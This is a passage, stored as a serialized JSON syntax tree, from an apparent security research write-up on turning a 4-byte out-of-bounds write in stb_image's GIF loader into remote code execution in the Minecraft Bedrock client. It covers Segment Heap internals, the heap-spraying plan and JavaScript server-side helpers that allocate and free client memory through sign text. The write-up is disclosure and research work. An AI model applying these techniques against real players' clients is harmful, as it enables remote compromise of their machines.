props":148878,"children":148879},{"class":85,"line":256},[148880],{"type":24,"tag":83,"props":148881,"children":148882},{"style":107},[148883],{"type":29,"value":34485},{"type":24,"tag":25,"props":148885,"children":148886},{},[148887,148888,148893,148895,148900,148902,148907],{"type":29,"value":23765},{"type":24,"tag":32,"props":148889,"children":148891},{"className":148890},[],[148892],{"type":29,"value":148244},{"type":29,"value":148894}," has to set the last byte to ",{"type":24,"tag":32,"props":148896,"children":148898},{"className":148897},[],[148899],{"type":29,"value":112876},{"type":29,"value":148901}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":24,"tag":32,"props":148903,"children":148905},{"className":148904},[],[148906],{"type":29,"value":112876},{"type":29,"value":161},{"type":24,"tag":25,"props":148909,"children":148910},{},[148911,148913,148918,148920,148926,148927,148933],{"type":29,"value":148912},"In the code we can see that size of the ",{"type":24,"tag":32,"props":148914,"children":148916},{"className":148915},[],[148917],{"type":29,"value":147701},{"type":29,"value":148919}," allocation is controlled through ",{"type":24,"tag":32,"props":148921,"children":148923},{"className":148922},[],[148924],{"type":29,"value":148925},"g->w",{"type":29,"value":2287},{"type":24,"tag":32,"props":148928,"children":148930},{"className":148929},[],[148931],{"type":29,"value":148932},"g->h",{"type":29,"value":148934}," values, both of which are read from the input file itself:",{"type":24,"tag":73,"props":148936,"children":148938},{"code":148937,"language":2891,"meta":7,"className":16250,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[148939],{"type":24,"tag":32,"props":148940,"children":148941},{"__ignoreMap":7},[148942,148967,148974,148981,149016,149062],{"type":24,"tag":83,"props":148943,"children":148944},{"class":85,"line":86},[148945,148949,148954,148958,148962],{"type":24,"tag":83,"props":148946,"children":148947},{"style":90},[148948],{"type":29,"value":50759},{"type":24,"tag":83,"props":148950,"children":148951},{"style":107},[148952],{"type":29,"value":148953}," stbi_uc ",{"type":24,"tag":83,"props":148955,"children":148956},{"style":143},[148957],{"type":29,"value":4315},{"type":24,"tag":83,"props":148959,"children":148960},{"style":101},[148961],{"type":29,"value":146880},{"type":24,"tag":83,"props":148963,"children":148964},{"style":107},[148965],{"type":29,"value":148966},"(...)\n",{"type":24,"tag":83,"props":148968,"children":148969},{"class":85,"line":113},[148970],{"type":24,"tag":83,"props":148971,"children":148972},{"style":107},[148973],{"type":29,"value":10628},{"type":24,"tag":83,"props":148975,"children":148976},{"class":85,"line":128},[148977],{"type":24,"tag":83,"props":148978,"children":148979},{"style":107},[148980],{"type":29,"value":147442},{"type":24,"tag":83,"props":148982,"children":148983},{"class":85,"line":183},[148984,148988,148992,148996,149000,149004,149008,149012],{"type":24,"tag":83,"props":148985,"children":148986},{"style":117},[148987],{"type":29,"value":52358},{"type":24,"tag":83,"props":148989,"children":148990},{"style":107},[148991],{"type":29,"value":223},{"type":24,"tag":83,"props":148993,"children":148994},{"style":137},[148995],{"type":29,"value":108831},{"type":24,"tag":83,"props":148997,"children":148998},{"style":107},[148999],{"type":29,"value":13502},{"type":24,"tag":83,"props":149001,"children":149002},{"style":137},[149003],{"type":29,"value":118254},{"type":24,"tag":83,"props":149005,"children":149006},{"style":143},[149007],{"type":29,"value":3028},{"type":24,"tag":83,"props":149009,"children":149010},{"style":245},[149011],{"type":29,"value":248},{"type":24,"tag":83,"props":149013,"children":149014},{"style":107},[149015],{"type":29,"value":253},{"type":24,"tag":83,"props":149017,"children":149018},{"class":85,"line":203},[149019,149023,149027,149031,149036,149041,149045,149050,149054,149058],{"type":24,"tag":83,"props":149020,"children":149021},{"style":117},[149022],{"type":29,"value":276},{"type":24,"tag":83,"props":149024,"children":149025},{"style":107},[149026],{"type":29,"value":223},{"type":24,"tag":83,"props":149028,"children":149029},{"style":143},[149030],{"type":29,"value":20362},{"type":24,"tag":83,"props":149032,"children":149033},{"style":101},[149034],{"type":29,"value":149035},"stbi__gif_header",{"type":24,"tag":83,"props":149037,"children":149038},{"style":107},[149039],{"type":29,"value":149040},"(s, g, comp,",{"type":24,"tag":83,"props":149042,"children":149043},{"style":245},[149044],{"type":29,"value":1166},{"type":24,"tag":83,"props":149046,"children":149047},{"style":107},[149048],{"type":29,"value":149049},"))     ",{"type":24,"tag":83,"props":149051,"children":149052},{"style":117},[149053],{"type":29,"value":48175},{"type":24,"tag":83,"props":149055,"children":149056},{"style":245},[149057],{"type":29,"value":248},{"type":24,"tag":83,"props":149059,"children":149060},{"style":107},[149061],{"type":29,"value":321},{"type":24,"tag":83,"props":149063,"children":149064},{"class":85,"line":212},[149065,149070,149074,149078,149082,149087,149091,149095,149100,149104,149108,149112,149116,149120,149124,149128,149132,149136,149140],{"type":24,"tag":83,"props":149066,"children":149067},{"style":137},[149068],{"type":29,"value":149069},"      g",{"type":24,"tag":83,"props":149071,"children":149072},{"style":107},[149073],{"type":29,"value":13502},{"type":24,"tag":83,"props":149075,"children":149076},{"style":137},[149077],{"type":29,"value":118254},{"type":24,"tag":83,"props":149079,"children":149080},{"style":143},[149081],{"type":29,"value":146},{"type":24,"tag":83,"props":149083,"children":149084},{"style":107},[149085],{"type":29,"value":149086}," (stbi_uc ",{"type":24,"tag":83,"props":149088,"children":149089},{"style":143},[149090],{"type":29,"value":4315},{"type":24,"tag":83,"props":149092,"children":149093},{"style":107},[149094],{"type":29,"value":633},{"type":24,"tag":83,"props":149096,"children":149097},{"style":101},[149098],{"type":29,"value":149099},"stbi__malloc",{"type":24,"tag":83,"props":149101,"children":149102},{"style":107},[149103],{"type":29,"value":558},{"type":24,"tag":83,"props":149105,"children":149106},{"style":245},[149107],{"type":29,"value":17265},{"type":24,"tag":83,"props":149109,"children":149110},{"style":143},[149111],{"type":29,"value":9563},{"type":24,"tag":83,"props":149113,"children":149114},{"style":137},[149115],{"type":29,"value":147482},{"type":24,"tag":83,"props":149117,"children":149118},{"style":107},[149119],{"type":29,"value":13502},{"type":24,"tag":83,"props":149121,"children":149122},{"style":137},[149123],{"type":29,"value":49288},{"type":24,"tag":83,"props":149125,"children":149126},{"style":143},[149127],{"type":29,"value":9563},{"type":24,"tag":83,"props":149129,"children":149130},{"style":137},[149131],{"type":29,"value":147482},{"type":24,"tag":83,"props":149133,"children":149134},{"style":107},[149135],{"type":29,"value":13502},{"type":24,"tag":83,"props":149137,"children":149138},{"style":137},[149139],{"type":29,"value":84058},{"type":24,"tag":83,"props":149141,"children":149142},{"style":107},[149143],{"type":29,"value":581},{"type":24,"tag":25,"props":149145,"children":149146},{},[149147,149149,149154,149156,149161],{"type":29,"value":149148},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":24,"tag":32,"props":149150,"children":149152},{"className":149151},[],[149153],{"type":29,"value":147701},{"type":29,"value":149155}," and the value of ",{"type":24,"tag":32,"props":149157,"children":149159},{"className":149158},[],[149160],{"type":29,"value":25},{"type":29,"value":149162}," just before the OOB write happens:",{"type":24,"tag":73,"props":149164,"children":149166},{"code":149165},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[149167],{"type":24,"tag":32,"props":149168,"children":149169},{"__ignoreMap":7},[149170],{"type":29,"value":149165},{"type":24,"tag":25,"props":149172,"children":149173},{},[149174,149176,149181,149183,149188],{"type":29,"value":149175},"There are multiple within-bound writes to ",{"type":24,"tag":32,"props":149177,"children":149179},{"className":149178},[],[149180],{"type":29,"value":25},{"type":29,"value":149182},", but the last write happens just after the ",{"type":24,"tag":32,"props":149184,"children":149186},{"className":149185},[],[149187],{"type":29,"value":147701},{"type":29,"value":149189}," allocation.",{"type":24,"tag":1818,"props":149191,"children":149193},{"id":149192},"summarizing-the-corruption",[149194],{"type":29,"value":149195},"Summarizing the Corruption",{"type":24,"tag":16422,"props":149197,"children":149198},{},[149199,149212,149240],{"type":24,"tag":67,"props":149200,"children":149201},{},[149202,149204,149210],{"type":29,"value":149203},"A single ",{"type":24,"tag":32,"props":149205,"children":149207},{"className":149206},[],[149208],{"type":29,"value":149209},"0x01",{"type":29,"value":149211}," byte write OOB",{"type":24,"tag":67,"props":149213,"children":149214},{},[149215,149217],{"type":29,"value":149216},"4-byte OOB write just above the allocated buffer\n",{"type":24,"tag":16422,"props":149218,"children":149219},{},[149220,149225,149235],{"type":24,"tag":67,"props":149221,"children":149222},{},[149223],{"type":29,"value":149224},"First three bytes are controllable",{"type":24,"tag":67,"props":149226,"children":149227},{},[149228,149230],{"type":29,"value":149229},"Last byte will be ",{"type":24,"tag":32,"props":149231,"children":149233},{"className":149232},[],[149234],{"type":29,"value":112876},{"type":24,"tag":67,"props":149236,"children":149237},{},[149238],{"type":29,"value":149239},"Size of the allocation is controlled",{"type":24,"tag":67,"props":149241,"children":149242},{},[149243,149245],{"type":29,"value":149244},"Both corruptions are done on a short-lived allocation\n",{"type":24,"tag":16422,"props":149246,"children":149247},{},[149248,149253],{"type":24,"tag":67,"props":149249,"children":149250},{},[149251],{"type":29,"value":149252},"Allocated just before the image-parsing process",{"type":24,"tag":67,"props":149254,"children":149255},{},[149256],{"type":29,"value":149257},"Freed immediately upon parsing completion",{"type":24,"tag":18531,"props":149259,"children":149260},{},[],{"type":24,"tag":25,"props":149262,"children":149263},{},[149264,149266,149273,149275,149282],{"type":29,"value":149265},"Note that this bug was already found before (",{"type":24,"tag":2033,"props":149267,"children":149270},{"href":149268,"rel":149269},"https://github.com/nothings/stb/issues/656",[2037],[149271],{"type":29,"value":149272},"Github Issue",{"type":29,"value":149274},") but we missed it at the time. It was later fixed in ",{"type":24,"tag":2033,"props":149276,"children":149279},{"href":149277,"rel":149278},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[2037],[149280],{"type":29,"value":149281},"this commit",{"type":29,"value":161},{"type":24,"tag":51,"props":149284,"children":149285},{"id":5164},[149286],{"type":29,"value":5167},{"type":24,"tag":25,"props":149288,"children":149289},{},[149290],{"type":29,"value":149291},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":24,"tag":25,"props":149293,"children":149294},{},[149295],{"type":29,"value":149296},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":24,"tag":1818,"props":149298,"children":149300},{"id":149299},"searching-for-better-primitives",[149301],{"type":29,"value":149302},"Searching for Better Primitives",{"type":24,"tag":25,"props":149304,"children":149305},{},[149306],{"type":29,"value":149307},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":24,"tag":25,"props":149309,"children":149310},{},[149311,149313,149320],{"type":29,"value":149312},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":24,"tag":2033,"props":149314,"children":149317},{"href":149315,"rel":149316},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[2037],[149318],{"type":29,"value":149319},"UWP",{"type":29,"value":149321}," applications (such as Minecraft Bedrock Edition).",{"type":24,"tag":1818,"props":149323,"children":149325},{"id":149324},"segment-heap",[149326],{"type":29,"value":149327},"Segment Heap",{"type":24,"tag":25,"props":149329,"children":149330},{},[149331,149333,149340],{"type":29,"value":149332},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":24,"tag":2033,"props":149334,"children":149337},{"href":149335,"rel":149336},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[2037],[149338],{"type":29,"value":149339},"this talk",{"type":29,"value":149341}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":24,"tag":18631,"props":149343,"children":149345},{"id":149344},"low-fragmentation-heap",[149346],{"type":29,"value":149347},"Low Fragmentation Heap",{"type":24,"tag":25,"props":149349,"children":149350},{},[149351,149353,149359],{"type":29,"value":149352},"Low Fragmentation Heap (LFH) services allocations of ",{"type":24,"tag":32,"props":149354,"children":149356},{"className":149355},[],[149357],{"type":29,"value":149358},"0x3ff0",{"type":29,"value":149360}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":24,"tag":25,"props":149362,"children":149363},{},[149364],{"type":29,"value":149365},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":24,"tag":73,"props":149367,"children":149369},{"code":149368},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[149370],{"type":24,"tag":32,"props":149371,"children":149372},{"__ignoreMap":7},[149373],{"type":29,"value":149368},{"type":24,"tag":25,"props":149375,"children":149376},{},[149377],{"type":29,"value":149378},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":24,"tag":18631,"props":149380,"children":149382},{"id":149381},"variable-size",[149383],{"type":29,"value":149384},"Variable Size",{"type":24,"tag":25,"props":149386,"children":149387},{},[149388,149390,149396,149398,149404],{"type":29,"value":149389},"This subsegment is used for allocation sizes from ",{"type":24,"tag":32,"props":149391,"children":149393},{"className":149392},[],[149394],{"type":29,"value":149395},"0x4000",{"type":29,"value":149397}," and up to ",{"type":24,"tag":32,"props":149399,"children":149401},{"className":149400},[],[149402],{"type":29,"value":149403},"0x20_000",{"type":29,"value":149405},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":24,"tag":73,"props":149407,"children":149409},{"code":149408},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[149410],{"type":24,"tag":32,"props":149411,"children":149412},{"__ignoreMap":7},[149413],{"type":29,"value":149408},{"type":24,"tag":25,"props":149415,"children":149416},{},[149417,149419,149425],{"type":29,"value":149418},"The header, ",{"type":24,"tag":32,"props":149420,"children":149422},{"className":149421},[],[149423],{"type":29,"value":149424},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":149426},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":24,"tag":18531,"props":149428,"children":149429},{},[],{"type":24,"tag":25,"props":149431,"children":149432},{},[149433],{"type":29,"value":149434},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":24,"tag":25,"props":149436,"children":149437},{},[149438,149440,149447],{"type":29,"value":149439},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":24,"tag":2033,"props":149441,"children":149444},{"href":149442,"rel":149443},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[2037],[149445],{"type":29,"value":149446},"technique published",{"type":29,"value":149448}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":24,"tag":25,"props":149450,"children":149451},{},[149452],{"type":29,"value":149453},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":24,"tag":25,"props":149455,"children":149456},{},[149457],{"type":29,"value":149458},"In either case, we needed a way to spray the heap before we could proceed.",{"type":24,"tag":1818,"props":149460,"children":149462},{"id":149461},"finding-a-way-to-spray-the-heap",[149463],{"type":29,"value":149464},"Finding a Way to Spray the Heap",{"type":24,"tag":25,"props":149466,"children":149467},{},[149468],{"type":29,"value":149469},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":24,"tag":16422,"props":149471,"children":149472},{},[149473,149478,149483,149488],{"type":24,"tag":67,"props":149474,"children":149475},{},[149476],{"type":29,"value":149477},"The size of the allocation",{"type":24,"tag":67,"props":149479,"children":149480},{},[149481],{"type":29,"value":149482},"The data written into the allocated buffer",{"type":24,"tag":67,"props":149484,"children":149485},{},[149486],{"type":29,"value":149487},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":24,"tag":67,"props":149489,"children":149490},{},[149491],{"type":29,"value":149492},"The number of created objects (preferably unbounded)",{"type":24,"tag":25,"props":149494,"children":149495},{},[149496],{"type":29,"value":149497},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":24,"tag":18631,"props":149499,"children":149501},{"id":149500},"minecraft-signs",[149502],{"type":29,"value":149503},"Minecraft Signs",{"type":24,"tag":25,"props":149505,"children":149506},{},[149507],{"type":29,"value":149508},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":24,"tag":25,"props":149510,"children":149511},{},[149512,149514,149520],{"type":29,"value":149513},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":24,"tag":32,"props":149515,"children":149517},{"className":149516},[],[149518],{"type":29,"value":149519},"std::string",{"type":29,"value":161},{"type":24,"tag":25,"props":149522,"children":149523},{},[149524,149526,149531],{"type":29,"value":149525},"In Microsoft’s C++ implementation, ",{"type":24,"tag":32,"props":149527,"children":149529},{"className":149528},[],[149530],{"type":29,"value":149519},{"type":29,"value":149532}," is structured roughly as follows:",{"type":24,"tag":73,"props":149534,"children":149536},{"code":149535,"language":2891,"meta":7,"className":16250,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[149537],{"type":24,"tag":32,"props":149538,"children":149539},{"__ignoreMap":7},[149540,149551,149558,149570,149586,149610,149617,149628,149640],{"type":24,"tag":83,"props":149541,"children":149542},{"class":85,"line":86},[149543,149547],{"type":24,"tag":83,"props":149544,"children":149545},{"style":90},[149546],{"type":29,"value":9148},{"type":24,"tag":83,"props":149548,"children":149549},{"style":107},[149550],{"type":29,"value":84757},{"type":24,"tag":83,"props":149552,"children":149553},{"class":85,"line":113},[149554],{"type":24,"tag":83,"props":149555,"children":149556},{"style":107},[149557],{"type":29,"value":10628},{"type":24,"tag":83,"props":149559,"children":149560},{"class":85,"line":128},[149561,149566],{"type":24,"tag":83,"props":149562,"children":149563},{"style":90},[149564],{"type":29,"value":149565},"    union",{"type":24,"tag":83,"props":149567,"children":149568},{"style":107},[149569],{"type":29,"value":125},{"type":24,"tag":83,"props":149571,"children":149572},{"class":85,"line":183},[149573,149578,149582],{"type":24,"tag":83,"props":149574,"children":149575},{"style":90},[149576],{"type":29,"value":149577},"        char",{"type":24,"tag":83,"props":149579,"children":149580},{"style":143},[149581],{"type":29,"value":4315},{"type":24,"tag":83,"props":149583,"children":149584},{"style":107},[149585],{"type":29,"value":16292},{"type":24,"tag":83,"props":149587,"children":149588},{"class":85,"line":203},[149589,149593,149598,149602,149606],{"type":24,"tag":83,"props":149590,"children":149591},{"style":90},[149592],{"type":29,"value":149577},{"type":24,"tag":83,"props":149594,"children":149595},{"style":137},[149596],{"type":29,"value":149597}," buf",{"type":24,"tag":83,"props":149599,"children":149600},{"style":107},[149601],{"type":29,"value":1161},{"type":24,"tag":83,"props":149603,"children":149604},{"style":245},[149605],{"type":29,"value":40562},{"type":24,"tag":83,"props":149607,"children":149608},{"style":107},[149609],{"type":29,"value":1515},{"type":24,"tag":83,"props":149611,"children":149612},{"class":85,"line":212},[149613],{"type":24,"tag":83,"props":149614,"children":149615},{"style":107},[149616],{"type":29,"value":38715},{"type":24,"tag":83,"props":149618,"children":149619},{"class":85,"line":256},[149620,149624],{"type":24,"tag":83,"props":149621,"children":149622},{"style":90},[149623],{"type":29,"value":16300},{"type":24,"tag":83,"props":149625,"children":149626},{"style":107},[149627],{"type":29,"value":124135},{"type":24,"tag":83,"props":149629,"children":149630},{"class":85,"line":270},[149631,149635],{"type":24,"tag":83,"props":149632,"children":149633},{"style":90},[149634],{"type":29,"value":16300},{"type":24,"tag":83,"props":149636,"children":149637},{"style":107},[149638],{"type":29,"value":149639}," capacity;\n",{"type":24,"tag":83,"props":149641,"children":149642},{"class":85,"line":302},[149643],{"type":24,"tag":83,"props":149644,"children":149645},{"style":107},[149646],{"type":29,"value":1071},{"type":24,"tag":25,"props":149648,"children":149649},{},[149650,149652,149658,149660,149665],{"type":29,"value":149651},"We are primarily interested in the union: ",{"type":24,"tag":32,"props":149653,"children":149655},{"className":149654},[],[149656],{"type":29,"value":149657},"buf",{"type":29,"value":149659}," is used when the string fits within 16 bytes, while ",{"type":24,"tag":32,"props":149661,"children":149663},{"className":149662},[],[149664],{"type":29,"value":13694},{"type":29,"value":149666}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":24,"tag":25,"props":149668,"children":149669},{},[149670],{"type":29,"value":149671},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":24,"tag":25,"props":149673,"children":149674},{},[149675],{"type":29,"value":149676},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":24,"tag":18631,"props":149678,"children":149680},{"id":149679},"spraying-with-server-side-scripting",[149681],{"type":29,"value":149682},"Spraying With Server-Side Scripting",{"type":24,"tag":25,"props":149684,"children":149685},{},[149686],{"type":29,"value":149687},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":24,"tag":25,"props":149689,"children":149690},{},[149691,149693,149699,149700,149706],{"type":29,"value":149692},"We wrote ",{"type":24,"tag":32,"props":149694,"children":149696},{"className":149695},[],[149697],{"type":29,"value":149698},"alloc",{"type":29,"value":2287},{"type":24,"tag":32,"props":149701,"children":149703},{"className":149702},[],[149704],{"type":29,"value":149705},"free",{"type":29,"value":149707}," helpers that trigger an allocation in the client and free it on demand:",{"type":24,"tag":73,"props":149709,"children":149711},{"code":149710,"language":35350,"meta":7,"className":35348,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[149712],{"type":24,"tag":32,"props":149713,"children":149714},{"__ignoreMap":7},[149715,149723,149765,149798,149843,149855,149862,149869,149930,149957,149972,149979,149986,150015,150030,150037,150044,150052,150076,150127,150138,150145,150152,150189,150216,150223,150252,150282,150289,150316],{"type":24,"tag":83,"props":149716,"children":149717},{"class":85,"line":86},[149718],{"type":24,"tag":83,"props":149719,"children":149720},{"style":2735},[149721],{"type":29,"value":149722},"// Allocate sign text in the client\n",{"type":24,"tag":83,"props":149724,"children":149725},{"class":85,"line":113},[149726,149730,149735,149739,149743,149747,149752,149756,149761],{"type":24,"tag":83,"props":149727,"children":149728},{"style":90},[149729],{"type":29,"value":31126},{"type":24,"tag":83,"props":149731,"children":149732},{"style":101},[149733],{"type":29,"value":149734}," alloc",{"type":24,"tag":83,"props":149736,"children":149737},{"style":107},[149738],{"type":29,"value":558},{"type":24,"tag":83,"props":149740,"children":149741},{"style":137},[149742],{"type":29,"value":123793},{"type":24,"tag":83,"props":149744,"children":149745},{"style":107},[149746],{"type":29,"value":568},{"type":24,"tag":83,"props":149748,"children":149749},{"style":137},[149750],{"type":29,"value":149751},"fill",{"type":24,"tag":83,"props":149753,"children":149754},{"style":143},[149755],{"type":29,"value":1275},{"type":24,"tag":83,"props":149757,"children":149758},{"style":187},[149759],{"type":29,"value":149760},"\"A\"",{"type":24,"tag":83,"props":149762,"children":149763},{"style":107},[149764],{"type":29,"value":253},{"type":24,"tag":83,"props":149766,"children":149767},{"class":85,"line":128},[149768,149772,149776,149780,149785,149789,149794],{"type":24,"tag":83,"props":149769,"children":149770},{"style":117},[149771],{"type":29,"value":2777},{"type":24,"tag":83,"props":149773,"children":149774},{"style":107},[149775],{"type":29,"value":223},{"type":24,"tag":83,"props":149777,"children":149778},{"style":90},[149779],{"type":29,"value":11534},{"type":24,"tag":83,"props":149781,"children":149782},{"style":137},[149783],{"type":29,"value":149784}," sign",{"type":24,"tag":83,"props":149786,"children":149787},{"style":90},[149788],{"type":29,"value":10110},{"type":24,"tag":83,"props":149790,"children":149791},{"style":137},[149792],{"type":29,"value":149793}," signs",{"type":24,"tag":83,"props":149795,"children":149796},{"style":107},[149797],{"type":29,"value":253},{"type":24,"tag":83,"props":149799,"children":149800},{"class":85,"line":183},[149801,149805,149809,149814,149818,149823,149827,149831,149835,149839],{"type":24,"tag":83,"props":149802,"children":149803},{"style":117},[149804],{"type":29,"value":3018},{"type":24,"tag":83,"props":149806,"children":149807},{"style":107},[149808],{"type":29,"value":223},{"type":24,"tag":83,"props":149810,"children":149811},{"style":137},[149812],{"type":29,"value":149813},"sign",{"type":24,"tag":83,"props":149815,"children":149816},{"style":107},[149817],{"type":29,"value":161},{"type":24,"tag":83,"props":149819,"children":149820},{"style":137},[149821],{"type":29,"value":149822},"allocated",{"type":24,"tag":83,"props":149824,"children":149825},{"style":143},[149826],{"type":29,"value":23447},{"type":24,"tag":83,"props":149828,"children":149829},{"style":137},[149830],{"type":29,"value":149784},{"type":24,"tag":83,"props":149832,"children":149833},{"style":107},[149834],{"type":29,"value":161},{"type":24,"tag":83,"props":149836,"children":149837},{"style":137},[149838],{"type":29,"value":132498},{"type":24,"tag":83,"props":149840,"children":149841},{"style":107},[149842],{"type":29,"value":253},{"type":24,"tag":83,"props":149844,"children":149845},{"class":85,"line":203},[149846,149851],{"type":24,"tag":83,"props":149847,"children":149848},{"style":117},[149849],{"type":29,"value":149850},"            continue",{"type":24,"tag":83,"props":149852,"children":149853},{"style":107},[149854],{"type":29,"value":321},{"type":24,"tag":83,"props":149856,"children":149857},{"class":85,"line":212},[149858],{"type":24,"tag":83,"props":149859,"children":149860},{"style":107},[149861],{"type":29,"value":3092},{"type":24,"tag":83,"props":149863,"children":149864},{"class":85,"line":256},[149865],{"type":24,"tag":83,"props":149866,"children":149867},{"emptyLinePlaceholder":16},[149868],{"type":29,"value":3422},{"type":24,"tag":83,"props":149870,"children":149871},{"class":85,"line":270},[149872,149877,149881,149885,149889,149894,149898,149902,149906,149910,149914,149918,149922,149926],{"type":24,"tag":83,"props":149873,"children":149874},{"style":137},[149875],{"type":29,"value":149876},"        sign",{"type":24,"tag":83,"props":149878,"children":149879},{"style":107},[149880],{"type":29,"value":161},{"type":24,"tag":83,"props":149882,"children":149883},{"style":137},[149884],{"type":29,"value":149813},{"type":24,"tag":83,"props":149886,"children":149887},{"style":107},[149888],{"type":29,"value":161},{"type":24,"tag":83,"props":149890,"children":149891},{"style":101},[149892],{"type":29,"value":149893},"setText",{"type":24,"tag":83,"props":149895,"children":149896},{"style":107},[149897],{"type":29,"value":558},{"type":24,"tag":83,"props":149899,"children":149900},{"style":137},[149901],{"type":29,"value":149751},{"type":24,"tag":83,"props":149903,"children":149904},{"style":107},[149905],{"type":29,"value":161},{"type":24,"tag":83,"props":149907,"children":149908},{"style":101},[149909],{"type":29,"value":132748},{"type":24,"tag":83,"props":149911,"children":149912},{"style":107},[149913],{"type":29,"value":558},{"type":24,"tag":83,"props":149915,"children":149916},{"style":137},[149917],{"type":29,"value":123793},{"type":24,"tag":83,"props":149919,"children":149920},{"style":143},[149921],{"type":29,"value":50970},{"type":24,"tag":83,"props":149923,"children":149924},{"style":245},[149925],{"type":29,"value":295},{"type":24,"tag":83,"props":149927,"children":149928},{"style":107},[149929],{"type":29,"value":6970},{"type":24,"tag":83,"props":149931,"children":149932},{"class":85,"line":302},[149933,149937,149941,149945,149949,149953],{"type":24,"tag":83,"props":149934,"children":149935},{"style":137},[149936],{"type":29,"value":149876},{"type":24,"tag":83,"props":149938,"children":149939},{"style":107},[149940],{"type":29,"value":161},{"type":24,"tag":83,"props":149942,"children":149943},{"style":137},[149944],{"type":29,"value":149822},{"type":24,"tag":83,"props":149946,"children":149947},{"style":143},[149948],{"type":29,"value":146},{"type":24,"tag":83,"props":149950,"children":149951},{"style":90},[149952],{"type":29,"value":12215},{"type":24,"t